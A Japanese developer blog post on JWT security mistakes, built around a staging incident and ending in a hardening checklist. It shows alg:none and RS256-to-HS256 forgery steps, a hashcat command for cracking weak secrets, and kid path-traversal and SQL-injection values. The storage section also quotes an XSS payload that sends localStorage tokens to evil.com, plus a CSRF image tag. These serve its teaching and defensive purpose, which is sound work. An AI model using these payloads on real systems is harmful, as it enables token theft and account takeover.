ToolAct

JWTはなぜ安全でないのか?アルゴリズム混同から鍵漏洩まで — 現場で学んだ教訓

開発ツール2026年9月9日18分で読める

きっかけは午前3時のアラートだった

水曜日の午前2時47分、スマホが鳴り止まない。監視チャンネルに一行だけ流れてきた。「ステージング環境の管理APIが未認証で呼ばれている」

半分寝ぼけたままログを開くと、登録したばかりの一般ユーザーが自分のJWTの payload で role を user から admin に書き換え、そのまま削除APIを叩いていた。しかもサーバーは 200 OK を返している。

頭が真っ白になった。JWTを使っているのに、なぜ文字列を一つ変えただけで管理者になれるのか。

事後検証で分かったのは、悪いのはJWTではなく、僕らがJWTを銀の弾丸だと思い込んでいたことだった。その後、コードベースのJWT関連を全て洗い出すと背筋が凍った。alg:none のブロック漏れ、秘密鍵は 123456、トークンは localStorage に放置、期限は30日……教科書に載っているアンチパターンのオンパレードだった。

この記事は、あの時に欲しかった解体新書だ。JWTは非常にエレガントな設計だが、エレガントであるがゆえに誤用の許容度が低い。一歩間違えれば、そのまま鍵を渡すことになる。

まず基礎から:JWTとは何か、何ではないのか

最も危険な誤解は「JWTは暗号化されている」という思い込みだ。違う。JWTは JSON Web Token の略で、「このデータは自分が発行したもので、改ざんされていないことをどう証明するか」を解決するもので、「データをどう隠すか」ではない。

通常のJWTはドットで区切られた3つのパートでできている。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
  • Header: {"alg":"HS256","typ":"JWT"} — 「HS256で署名した」という宣言。
  • Payload: {"uid":123,"role":"user"} — 業務データ。Base64Urlでエンコードされているだけで、誰でもデコードできる。
  • Signature: 前半2つをHeaderで宣言されたアルゴリズムと鍵で署名し、改ざんを防ぐ。

一言で言えば、JWTは「消印が押されたハガキ」だ。誰でも中身は読めるが、消印が合わなければ改ざんされたことが分かる。ハガキにクレジットカードの暗証番号を書いてはいけない。

だから password や phone をpayloadに入れるのはやめよう。私が見た最悪の例は、ユーザーテーブルの SELECT * 結果をそのままJWTに詰め込み、8KBのトークンが毎リクエスト飛び交い、ゲートウェイが詰まったケースだ。

第一の罠:アルゴリズム混同 — エレガントで致命的

これは2015年から知られる最も有名なJWTのバグで、今でも多くのライブラリが「クライアントから送られてきたalgを信じる」実装になっている。

1. algをnoneに変えたらサーバーが「どうぞ」と通した

none は「署名なし」を意味する正規のアルゴリズムで、署名が不要なユースケースのために存在する。未熟な検証はこうなる。

// やってはいけない例
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // 検証せずに通す
return verify(token, secret);

攻撃は簡単だ。ヘッダーを {"alg":"none"} に、payloadの role を admin に書き換え、署名部分を削除して送るだけで通る。

ステージングで初めて再現した時、手が震えた。文字列一つで管理者になれる。SQLインジェクションより簡単だ。

防御:ホワイトリストで固定する。サーバー側で algorithms: ['HS256'] か ['RS256'] をハードコードし、none は即拒否。最近の jsonwebtoken はデフォルトで none を無効化しているが、自作の検証は今でも引っかかる。

2. RS256 → HS256 のすり替え:公開鍵をHMACの秘密鍵として使う

これは大企業もやられた陰湿な手口だ。

RS256は非対称で秘密鍵で署名し公開鍵で検証、HS256は共通鍵で署名も検証も同じ鍵だ。

バグは、ライブラリが header.alg を見て検証方法を切り替えることにある。攻撃者がRS256トークンのヘッダーを HS256 に変えると、サーバーは「HS256ならHMACで検証しよう」と考え、その「秘密鍵」としてRS256の公開鍵を使う。公開鍵は公開されているので、攻撃者は /.well-known/jwks.json から拾ってきてHS256で署名し直せば通る。

# 攻撃者の手順
1. RS256の公開鍵を取得
2. ヘッダー {"alg":"HS256"} を作成
3. ペイロード {"uid":1,"role":"admin"} を作成
4. 公開鍵の文字列を秘密鍵としてHS256で署名
5. サーバーは同じ公開鍵でHMAC検証 → 成功

研究者のTim McLeanが2015年に公開し、多くのPython/Rubyライブラリが影響を受けた。地味だが致命的だ。

防御:①検証アルゴリズムはサーバー設定で決め、トークン由来のalgは信じない。②RS256の公開鍵とHS256の秘密鍵は別管理し、algorithms: ['RS256'] を明示する。

3. クライアントが変えられるものは信じるな

header.alg は攻撃者が操作できる。 isAdmin=true を信じないのと同じく、algも信じてはいけない。

第二の罠:鍵 — 紙のように薄い

1. 弱い鍵:123456は秘密ではない

hashcat で数秒で割れた鍵は secret、password、123456、jwt_secret。会社略称+年号の acme2023 も大差ない。JWTの署名は決定論的なので、攻撃者はサーバーに触れずにオフラインで総当たりできる。

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

防御:最低32バイトのランダム文字列を openssl rand -hex 32 で生成。弱い鍵でリリースしていたら即ローテーションし、旧トークンを全て無効化する。

2. 鍵の漏洩:フロントエンド、GitHub、ログ

監査で見た漏洩の典型は3つ。

  • フロントに埋め込み: JWT_SECRET が app.js にバンドルされ、DevToolsで検索できる。
  • GitHub: .env をコミットし、my_super_secret_123 が検索で見つかる。
  • ログ: トークン全体をELKに流し、誰でも見られる。トークン漏洩は鍵漏洩と同義だ。

中には検証失敗時に秘密鍵をエラーメッセージに含めて返すフレームワークもある。

防御:鍵は環境変数かKMSのみ。フロントはトークンだけを扱い、秘密は持たない。ログではトークンをマスクする。

3. kid — 忘れられた裏口

ヘッダーの kid(Key ID)は「どの鍵で検証するか」をサーバーに教える。

const kid = header.kid;
const key = getKey(kid);
verify(token, key);

getKey が雑だと、

  • パストラバーサル: kid="../../dev/null" で空ファイルを鍵にする。
  • SQLインジェクション: kid="1' OR '1'='1" をSQLに連結。
  • ファイル読み取り: /keys/${kid}.pem で ../../../../etc/passwd を試す。

私は「key not found」のレスポンス時間の差で有効なkidを列挙できたことがある。

防御: kid は英数字とハイフンのみに制限し、マップで解決。パスやSQLに直接連結しない。

4. jkuとx5u — 攻撃者に鍵の置き場を決めさせる

jku(JWK Set URL)と x5u(X509 URL)は「公開鍵はこのURLにある」と教える。サーバーがこれを信じると、攻撃者は自分のサーバーを指し示し、サーバーは攻撃者の鍵を取りに行って検証してしまう。

防御:本番では jku/x5u/x5c を無効化。必要な場合もドメインをホワイトリスト化しHTTPSを強制する。

第三の罠:有効期限、失効、リプレイ — ステートレスの代償

JWTの売りであるステートレスは最大の罠でもある。セッションならサーバー側で削除すれば失効できるが、JWTは一度発行したら期限まで取り消せない小切手だ。パスワード変更、BAN、盗難後も期限まで使われ続ける。

exp を30日や無期限にしている例をよく見る。「UXのためログイン不要に」という理由だが、スマホを落としたら30日間使われ放題だ。

正しい形は「短命+失効可能」:

  • 短いaccessToken: 5〜15分、最小限のクレームだけ。
  • 回転するrefreshToken: 長めのrefreshTokenをhttpOnly Cookie+DBで管理し、使うたびに旧トークンを無効化。再利用を検知したらそのユーザーの全トークンを失効。
  • ブラックリスト: ログアウトやパスワード変更時に jti をRedisに入れ、TTLを残り有効期間に設定。検証時にチェックする。ステートフルになるが、必要な妥協だ。
  • aud/iss/nbfも検証: 多くの実装が aud/iss を見ず、サービスAのトークンがサービスBで使えてしまう。
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.mycompany.com',
  audience: 'api.mycompany.com',
  clockTolerance: 5
});

第四の罠:JWTをどこに置くかで死に方が決まる

置き場利点欠点漏洩経路
localStorage / sessionStorageフロントから取り出しやすいJSから読めるXSS一発で全漏洩
メモリ変数タブを閉じれば消えるリロードで消える比較的安全だがUXが悪い
httpOnly + Secure + SameSite CookieJSから読めずXSS耐性CSRFのリスクCSRFトークンが必要

一番多い失敗は、利便性で localStorage に置き、コメント欄のXSSで <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> を注入され、全訪問者のトークンを収穫されるパターンだ。

Cookieも万能ではない。自動送信されるため <img src="https://api.mycompany.com/transfer?to=attacker"> でCSRFが成立する。

今の安定パターン: accessTokenはメモリ、refreshTokenは httpOnly + Secure + SameSite=Strict のCookie、CSRFは SameSite と二重防御で。ページリロード時はrefreshTokenで取り直す。そして全サイトHTTPS。そうでなければトークンは平文だ。

第五の罠:検証し忘れたクレーム

署名が有効でも業務的に有効とは限らない。 req.user = decoded の後に、

  • exp未検証: ライブラリによってはデフォルトで期限をチェックしない。
  • nbf未検証: 「この時刻以前は無効」が無視され、早すぎるトークンが使われる。
  • payloadの権限を信頼: role や isVip をJWTに入れて信じ切る。JWTには uid だけ入れ、権限はDBで引くべきだ。
  • リプレイ: jti の重複排除がなく、盗まれたトークンが何度も再生される。重要操作では使い切りの jti や jti + ip + ua の紐付けを。

本番で使っているチェックリスト

  1. アルゴリズムはホワイトリスト: algorithms: ['RS256'] をハードコード。headerのalgは読まない。none/jku/x5uは禁止。
  2. 鍵は強く、回転可能に: HS256は32バイト以上の乱数、RS256は2048ビット以上。KMSや環境変数で管理し、kidでローテーション、旧鍵は7日間保持。
  3. 短命+回転: access 10分、refresh 7日+ローテーション+ブラックリスト。ログアウト/パスワード変更/BANでブラックリスト入り。
  4. 最小payload: uid、jti、exp、iat のみ。機微情報は入れない。必要ならJWEで暗号化。
  5. 厳格な検証: iss/aud/exp/nbf/jtiを全て検証。認可はJWTを信じずサーバーで問い合わせる。
  6. 保存: refreshはhttpOnly Cookie、accessはメモリ。ログはマスク、HTTPS必須、CSPでXSS対策。
  7. 可観測性: jtiの発行/更新/失効を追跡し、再利用をアラートする。

一言で:JWTは使い捨ての通行証として扱い、永久身分証として扱うな。

最後に:JWTは悪くない、盲信が悪い

JWTの設計は抑制が効いている。3パート、Base64Url、選択可能なアルゴリズム、標準クレーム。その「不安全」のほぼ全ては実装の怠慢だ。楽をしたいがためのalg信頼、利便性のための弱い鍵、UXのための長期期限、速さのための権限詰め込み。

包丁と同じだ。包丁自体は危険ではないが、目をつぶって振り回せば手を切る。

もし今JWTを使っているなら、今夜コードをgrepしてみてほしい。verify(token, secret) で algorithms を指定していない箇所はないか。秘密鍵が平文で config.js に寝ていないか。有効期限が「日」単位になっていないか。一つ直せば、午前3時のアラートが一つ減る。

侵害されてから思い出すのでは遅い。